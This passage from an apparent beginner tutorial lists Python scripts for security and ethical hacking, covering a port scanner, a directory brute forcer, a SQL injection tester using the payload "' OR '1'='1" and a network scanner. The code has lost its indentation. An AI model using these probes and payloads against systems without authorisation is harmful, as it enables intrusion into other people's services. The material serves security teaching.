s.settimeout(1)
result = s.connect_ex((host, port))
if result == 0:
print(f"Port {port} is open.")
else:
print(f"Port {port} is closed.")
scan_ports('127.0.0.1', [22, 80, 443])
Scans a list of ports on a host to check if they are open or closed.
92. Simple Password Generator
import random
import string
def generate_password(length):
characters = string.ascii_letters + string.digits + string.punctuation
return ''.join(random.choice(characters) for _ in range(length))
print(generate_password(12))
Generates a random password of a specified length using letters, digits, and special characters.
93. Basic HTTP Form Submission
import requests
def submit_form(url, data):
response = requests.post(url, data=data)
if response.ok:
print("Form submitted successfully.")
else:
print("Form submission failed.")
submit_form('http://example.com/form', {'username': 'user', 'password': 'pass'})
Submits a form via an HTTP POST request and checks if the submission was successful.
94. Simple Directory Brute Forcer
import requests
def brute_force_directories(url, wordlist):
with open(wordlist, 'r') as file:
for line in file:
directory = line.strip()
full_url = url + '/' + directory
response = requests.get(full_url)
if response.status_code == 200:
print(f"Found directory: {full_url}")
brute_force_directories('http://example.com', 'directories.txt')
Attempts to discover directories by brute-forcing with a list of directory names.
95. Detect SSL/TLS Vulnerabilities
import ssl
import socket
def check_ssl_tls(hostname):
context = ssl.create_default_context()
try:
with context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=hostname) as s:
s.connect((hostname, 443))
print(f"SSL/TLS is working on {hostname}.")
except Exception as e:
print(f"SSL/TLS check failed: {e}")
check_ssl_tls('example.com')
Checks if SSL/TLS is properly configured and operational on a host.
96. Simple SQL Injection Tester
import requests
def test_sql_injection(url):
payload = "' OR '1'='1"
response = requests.get(url + payload)
if "error" in response.text.lower():
print("SQL Injection vulnerability detected.")
else:
print("No SQL Injection vulnerability detected.")
test_sql_injection('http://example.com/search?q=')
Tests for SQL injection vulnerabilities by injecting a payload designed to produce errors.
97. Monitor File Changes
import os
import time
def monitor_file(file_path):
last_modified = os.path.getmtime(file_path)
while True:
time.sleep(5)
current_modified = os.path.getmtime(file_path)
if current_modified != last_modified:
print(f"File {file_path} has been modified.")
last_modified = current_modified
monitor_file('example.txt')
Monitors a file for changes and alerts if it is modified.
98. Simple IP Geolocation Lookup
import requests
def get_ip_geolocation(ip_address):
response = requests.get(f'http://ip-api.com/json/{ip_address}')
data = response.json()
print(f"Location of IP {ip_address}: {data['city']}, {data['country']}")
get_ip_geolocation('8.8.8.8')
Retrieves and prints the geographical location of an IP address using a geolocation API.
99. Basic Encryption with Fernet
from cryptography.fernet import Fernet
def encrypt_message(message, key):
fernet = Fernet(key)
encrypted = fernet.encrypt(message.encode())
return encrypted
def decrypt_message(encrypted, key):
fernet = Fernet(key)
decrypted = fernet.decrypt(encrypted).decode()
return decrypted
key = Fernet.generate_key()
message = "Hello, World!"
encrypted = encrypt_message(message, key)
print(f"Encrypted: {encrypted}")
print(f"Decrypted: {decrypt_message(encrypted, key)}")
Encrypts and decrypts a message using the Fernet symmetric encryption algorithm.
100. Simple Network Scanner
import socket
def scan_network(ip_range):
for ip in ip_range:
try:
socket.gethostbyaddr(ip)
print(f"IP {ip} is active.")
except socket.herror:
print(f"IP {ip} is not active.")
scan_network(['192.168.1.1', '192.168.1.2', '192.168.1.3'])
Scans a range of IP addresses to check if they are active on the network.
This collection of 100 Python scripts for beginners is designed to enhance your understanding of security and ethical hacking with practical examples.
Post Comment